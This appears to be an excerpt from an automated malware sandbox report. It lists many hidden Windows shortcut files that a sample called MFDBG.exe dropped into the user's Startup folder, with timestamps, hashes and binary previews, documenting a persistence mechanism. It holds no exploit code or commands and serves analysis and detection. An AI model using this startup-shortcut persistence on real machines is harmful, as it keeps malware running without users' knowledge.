Preview:	L..................F...."...]W%.{...O..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f4ce7e9aca04cc49fb0e158be4410fa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942512926052345
Encrypted:	false
SSDEEP:	24:8SwhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Sir0R6rMhpBoUBxdRd1nYyg
MD5:	A8BFDDD2E5274171C71B7B27F23E8375
SHA1:	EEA667AE3C0780E1FE2A22F44E0E7EF25DD5A99D
SHA-256:	7978AB64F2D7CA95E85A6D3877DFA16141F0612CDB523B04D413D94D84EC23F3
SHA-512:	A179993E2341F1C40D6B83561701802F4D28BC3A869FE510160A0F11D475103A07A35A447972C0D7ACF0CA6A8DD5C1B960008C9CD90FC1D7327A5B10FDEF3B8B
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....P..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f66f66205044f7eb98bf3a5d687f5a9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940750811514901
Encrypted:	false
SSDEEP:	24:83hBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8rD0R6rMhpBoUBxdRd1nYyg
MD5:	A1996C657A24B5F9E404D42334F61EA3
SHA1:	DEEC99E180D4E9C0827652BFAC1AE871F6EBB952
SHA-256:	49E0A2DB0E10D8E24238E35C8EBA06CE53F39089BD7A8B499C7C4BEC430E6C38
SHA-512:	A46CEE955576E827D8D608056FE557EB73FF4B5D50686939B1B989D3E3D15F6F7899BE30EE9551B79CEAE3E2781EB2D6AA6939CE0BE3332D29B4270BDA254E5B
Malicious:	false
Preview:	L..................F...."...]W%.{...d&..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f6a20923efc415d86b2aabbf2ff04a9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938755514152354
Encrypted:	false
SSDEEP:	24:8thBfOW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8N60R6rMhpBoUBxdRd1nYyg
MD5:	B313B5F015B57A38FB4CCD2237CEA9C1
SHA1:	7AD2CBC7141780EACF5E71F0B6DAF4961879D8C4
SHA-256:	493EC5598835816739C4AD4F9BDB57773676B3AA1601E901156CE10E1794E169
SHA-512:	97C9A974BADF22AA05F7FF1EF7AAFBEAC31120912DE171CBF273E3DF169E7551F3AF757828AB32F71100D72E1A1A2FBF90007F5A54D58C993FAE6A260E0919FA
Malicious:	false
Preview:	L..................F...."...]W%.{....:..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...?c..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_804eae0ddaf54d648072000f55c45f43.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939332626074869
Encrypted:	false
SSDEEP:	24:8x9hBf/D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8x9XQ0R6rMhpBoUBxdRd1nYyg
MD5:	C3F629AE666DD682E840E34A8E51F2C2
SHA1:	EBD1E1240AACE3C47C0348E6113D1080873EF8A1
SHA-256:	05BE6809C76BA8C234FF5CA80593A1D750F96D5138C5F42D31143A9EB62BB86A
SHA-512:	4D82B949C04C1D53E9301454F378769B03F94CBEFD4740F1B2984BEDF89288AFBEAEDCC6EE6878634F9414A77BE0C04EC5D25657A7BD3006DCDC3B7B6D77E10F
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_806ac2d45d5d4d61a32871595a0c8bc0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.947887256863014
Encrypted:	false
SSDEEP:	24:8ohBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8qa0R6rMhpBoUBxdRd1nYyg
MD5:	026098F2D12DFBA472DC56BA84BF5670
SHA1:	50C04EF0B65361AF0B9157B274510B64712A9C8D
SHA-256:	94F7AA49BE7B8F4C5B2048CDEC85FE94304D3F4DBC4BA825959E9B86CE02EB07
SHA-512:	C697942C2097D398924DC8A550E73CA9695BB3693A459371715B4DE2AD45452E55E432E74E8CC7D814160E9B10CCC1541FA8DAEF26548992BAEC8C12AA82B6D4
Malicious:	false
Preview:	L..................F...."...]W%.{...$C..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_806fa2d575f7494ca4962abd63f726d3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940838798713235
Encrypted:	false
SSDEEP:	24:8ChGhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ChMr0R6rMhpBoUBxdRd1nYyg
MD5:	D503196EE703D994644298AFAA296D94
SHA1:	FBC1D8284D8F2B9FF4176A897C990E28282191A3
SHA-256:	A1FCF5821D6C7E602B37B31643B0BFE9EA92664C3D48BA7CF71DF16671DB28C1
SHA-512:	6CE8D673A9C8DC8EFB5DDFC1387595688E0ABABF52342EDF650213E20C89264ECF6769B2C4F3DC66A99EE715598086439B8D35149D2842E9125E90BC429C067E
Malicious:	false
Preview:	L..................F...."...]W%.{....c..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....P..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_81557168fff74d42a4ccc696bb554d7b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93343230359732
Encrypted:	false
SSDEEP:	24:8MePhBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8tTnC0R6rMhpBoUBxdRd1nYyg
MD5:	5D74FD44BE5692A9DA85027BDC41D162
SHA1:	5A63DA195533E5546ED72EF18D047F112A2CE013
SHA-256:	8516C57575BA63477AB2C4C9D175CFCEB178183BAD4B1B0F853755E4F09E9ABA
SHA-512:	9D81D6F6B2829DA38DC47033A9C38828B2474B65D87C0189F98CD581545E40ECAA06FED55157AD8A1150AF0D71D737CAF2DB450CB80FBC123847DE4942E4C7AC
Malicious:	false
Preview:	L..................F...."...]W%.{...o...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_81aef1ca25254f2c9f1a0efad6e86607.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929677468654059
Encrypted:	false
SSDEEP:	24:88hBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Oi0R6rMhpBoUBxdRd1nYyg
MD5:	5408DD946D069E9339D5B1C02976B028
SHA1:	5023CEAC33906F02F36990468C90D6E30B8CF08F
SHA-256:	D7A8924630CD291E5BA6D37A1055062F33E2F78CC127CC4C580B8F29D9726204
SHA-512:	1D966FB887267AF8AC85CF7E73634B88B8E60565FF30B1B4C83CA4E1F08B1E28228636E9C6972BD32ADC61F40B55AD7FBF76EBD5F2C311DD9D721CC5F6C23D20
Malicious:	false
Preview:	L..................F...."...]W%.{...e..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_81c8faad4a474525a46f822310938ceb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934686045552675
Encrypted:	false
SSDEEP:	24:8GhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8M/0R6rMhpBoUBxdRd1nYyg
MD5:	255BC29550C7758A7C249C2210D3FD1C
SHA1:	BEC31507C53AB147AB8419B1F94D60D72E1A875C
SHA-256:	74FE8CC7C3319CD1D934ED23717AA53025A8FF5749BB2C30EA57C13D4FA51175
SHA-512:	B841121533CEC4C39D42E11A04126518AE7DF84B2B1F4333AB8297608FD87EC98ABDDFB11D274CF3CF9847B7498DA72F87A6320EECCED93F0E84AFE90827E694
Malicious:	false
Preview:	L..................F...."...]W%.{....a.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_81cb9049ef75438eba0cdfdcdc5c6e14.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935771530057278
Encrypted:	false
SSDEEP:	24:8VhBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8FW0R6rMhpBoUBxdRd1nYyg
MD5:	047F58199D7137C9AC23A2ED9D359A13
SHA1:	6B58AD978616827DF71D9990DB6AD436D5D3AA01
SHA-256:	DDEB53FE06F25F4F15AF9EB348A0D2FF7B00257F547961AEA8F088E6692BA4DE
SHA-512:	1CC2FE870EAB4F67EDE88C9DD23F1743F86F8FED676EEBF20B7B16D63ACEE310FF7674EA007B1764A0B53F04790B51E4FCDAB225B89BB58546E34AFEA6CB834D
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...*L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_81dece4f13e7425995089570c0c19147.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937891681560861
Encrypted:	false
SSDEEP:	24:8NhBfr48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8tJ0R6rMhpBoUBxdRd1nYyg
MD5:	1AE40EF309DEDD4B1F1DE3E233ABC4D3
SHA1:	29168BAFBE51F51A13C483EF385DF1BCC7BC8070
SHA-256:	F9FD24FA48AA364265F491E3AE3B510221117E8C649B3C7FE174D47AAA5C5A20
SHA-512:	1A4B714BFCFE30A97748A87825940D4BD8BDB9A7950F79721DDC70D6ACE38C5B9EDE19FC1D42E7EC85B52D340708DE69D815696D21A630CB4D2810BB308E54DF
Malicious:	false
Preview:	L..................F...."...]W%.{....L..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_81e8c22c05d3431dbd7baa0f3eadf2d7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937766827419824
Encrypted:	false
SSDEEP:	24:8yQhBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8yCNQ0R6rMhpBoUBxdRd1nYyg
MD5:	184E9C21C85E256CAF1673FBBE2B39FA
SHA1:	0A4B49AFB054CB329FCDD829EC05DAD3F2585621
SHA-256:	01523B3773D449C3A8936E9CDEB7D42F5EDBAEBE0B23F4191150976D0819DFF4
SHA-512:	E82D3F3A68D1C3F223ED4D8AF80052398458BC10D7BD36F3B141D7A2B0748825FD750B144A3814B2428F5AF2EBB219060F91FDEF554A4C8CB38DB54833B8C905
Malicious:	false
Preview:	L..................F...."...]W%.{.....8.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_81f13d4ac35c48b4859705c86aef5d8a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93189153616029
Encrypted:	false
SSDEEP:	24:8ghBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8yR0R6rMhpBoUBxdRd1nYyg
MD5:	CDA9233E69BCFCBDE0B5CDDE8C6D3CD0
SHA1:	83E65C5897EFF0C63ABE936D4D42A30C0CFABA1B
SHA-256:	3CE49DCD347FF59DE81831055D5917F7A82FC6AC658C36A8EFBFE3632D770E71
SHA-512:	2497B15AC5091FF4DC13E6F9EBBD3330E6FFC9F41D6475327F0167955E0DC7B44127FE5B22058190A30CACB97C100502B63D61CE178E0F8FC600957D79648006
Malicious:	false
